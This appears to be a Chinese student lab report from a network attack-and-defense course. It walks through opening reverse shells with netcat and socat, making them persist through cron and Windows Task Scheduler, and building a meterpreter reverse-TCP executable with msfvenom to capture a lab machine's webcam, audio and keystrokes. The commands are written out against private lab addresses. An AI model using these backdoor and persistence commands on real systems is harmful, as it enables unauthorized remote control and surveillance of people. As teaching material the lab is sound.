2018-2019-2 《网络对抗技术》Exp2 后门原理与应用 20165211

后门原理与应用


实验内容

  1. 使用netcat获取主机操作Shell,cron启动
  2. 使用Socat获取主机操作Shell, 任务计划启动
  3. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    1. 在网上下载的一些软件,会带有后门
    2. 系统会自带后门
    3. 通过U盘传播
  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    1. windows的定时任务
    2. linux的cron
    3. 社会工程学,让用户点击运行
  3. Meterpreter有哪些给你映像深刻的功能?

    1. 开始界面真的很酷炫???(咳咳咳……
    2. 摄像头权限的获得,平时我自己的电脑一般都是处于开启或者休眠的状态(重新开机,启动软件太麻烦),摄像头权限一旦被他人获得,会暴露自己的隐私,生活环境,有一种时刻会被人监视的诡异感(=.=|……
  4. 如何发现自己有系统有没有被安装后门?

    1. 安装杀毒软件,定时检查自己的电脑

    2. 保持自己电脑的windows defender处于开启的状态

      能够及时的发现后门,并删除。


常用后门工具

Netcat

参考资料:

Netcat简介

Linux系统终端命令:netcat的基本使用

关于netcat,找了一些专门介绍的博客,netcat是一个通过TCP/UDP在网络中进行读写数据工具,被称为“瑞士军刀”,主要用于调试领域、传输领域甚至黑客攻击领域。利用该工具,可以将网络中一端的数据完整的发送至另一台主机终端显示或存储,常见的应用为文件传输、与好友即时通信、传输流媒体或者作为用来验证服务器的独立的客户端。

主要功能

  • 支持连出和连入(outbound and inbound connection),TCP和UDP,任意源和目的端口
  • 全部DNS正向/反向检查,给出恰当的警告
  • 使用任何源端口
  • 使用任何本地设置的网络资源地址
  • 内建端口扫描功能,带有随机数发生器
  • 内建loose source-routing功能
  • 可能标准输入读取命令行参数
  • 慢发送模式,每N秒发送一行
  • 以16进制显示传送或接收的数据
  • 允许其它程序服务建立连接,可选
  • 对Telnet应答,可选

netcat在kali里可以直接使用,windows中需要下载后使用(Socat同理)。

它的简单使用过程在下面实践过程记录中会有详细的介绍。

Socat

参考资料:

socat的安装与使用

Netcat++,超级netcat工具

MSFmeterpreter

参考资料:

后渗透之meterpreter使用攻略

这是一个生成后门程序的平台,把后门的基本功能(基本的连接、执行指令),扩展功能(如搜集用户信息、安装服务等功能),编码模式,运行平台,以及运行参数,全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

本次实验主要用Metaspolit的msfvenom指令来生成一个后门可执行文件。


实践过程记录

写在前面的话:在本次实验中我一开始用的是本机作为windows端,但是由于我的win10是家庭版,windows defender不能完全关闭,在设置文件夹信任之后,权限又出现了问题,所以,后来在完成任务四时,切到了虚拟机来完成。以下是我的三个端的IP地址

本机windows 172.16.2.51

虚拟机kali 192.168.139.138

虚拟机windows7 192.168.139.140

1.后门工具熟悉

1.1Win获得Linux Shell

  1. windows端进入netcat文件的位置,使用命令行输入 ncat.exe -l -p 5211,打开监听,其中,5211为监听的端口。

  1. linux端在命令行输入 nc 192.168.20.175 5211 -e /bin/sh,反弹连接Windows端。

  1. 此时windows下就已经获得了linux shell,可以通过windows端的命令行实现对linux的操作啦~

1.2Linux获得Win Shell

这个操作与上一个操作类似了,以下主要过程:

  1. Linux运行监听指令,指令为:nc -l -p 5211

  1. windows反弹连接linux,指令为 :ncat.exe -e cmd.exe 192.168.139.138 5211

  1. 此时linux下就获得了windows的控制权,可以通过linux来控制windows主机了

1.3使用netcat传输数据

  1. 在windows下输入命令:ncat.exe -l 5211,实现监听5211端口

  1. Kali下输入ncat 172.16.2.51 5211,连接到windows的5211端口,输入一些数据

  1. 随后我们就可以看到,已经实现了linux和windows之间的数据传输啦~

2.使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令

  1. windows端下,输入命令ncat.exe -l -p 5211,监听本机的5211端口。

  1. 在kali端下,输入crontab -e,实现编辑一条定时任务。

  2. 打开后,在最后一行添加 命令 05 * * * * /bin/netcat 172.16.2.51 5211 -e /bin/sh,即为每小时的5分运行此命令。

  1. 此时,可以看到,在windows端已经获得了linux的shell(ls 输多了的后果……

3.使用Socat获取主机操作Shell, 任务计划启动

  1. 在windows系统下,计算机管理-->任务计划程序-->创建任务

  2. 新建触发器,选择,当工作站锁定时。

  3. 在操作中,将程序或脚本中选择socat.exe路径,参数一栏填写tcp-listen:5211 exec:cmd.exe,pty,stderr

  1. 完成创建,即可在将Windows主机锁定重启之后,查看任务栏工作状态,发现我们新建的任务已经开始运行。

  1. 在kali环境下输入socat - tcp:172.16.2.51:5211,即可获得windows的shell。

4. 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  1. 使用msfvenom指令生成一个后门程序。msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.139.138 LPORT=5211 -f exe > 20165211_Akashi.exe

  1. 通过nc将生成的可执行文件发送到目标windows端

    Kali端:

windows端:

kali端:

  1. kali端使用msfconsole指令进入msf控制台,设置各项参数。执行监听

  1. 在windows端运行后门程序

  1. 则此时在kali上已经获得Windows的shell

5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

  1. 获取目标主机音频

  1. 获取目标主机摄像头

  1. 获取目标主机击键记录


实验总结与体会

遇到问题

在尝试获取主机摄像头时,出现了如下错误

检查后发现,虚拟的摄像头未分配,将虚拟机的摄像头打开后即可正常运行。

实验体会

在本次实验中,在体验了MSF的功能之后,虽然是一场自己打自己的过程,但是在现实中,如果不注意信息安全,没有安全意识,这样简单的过程,其实完全可以完成一场完整的黑客行为。(默默关掉了摄像头……)

还是要注意自己的信息安全,不随意使用来路不明的U盘,不点击有危险的文件,网络危机四伏,还是要时刻注意的。

猜你喜欢

转载自www.cnblogs.com/akashi/p/10584285.html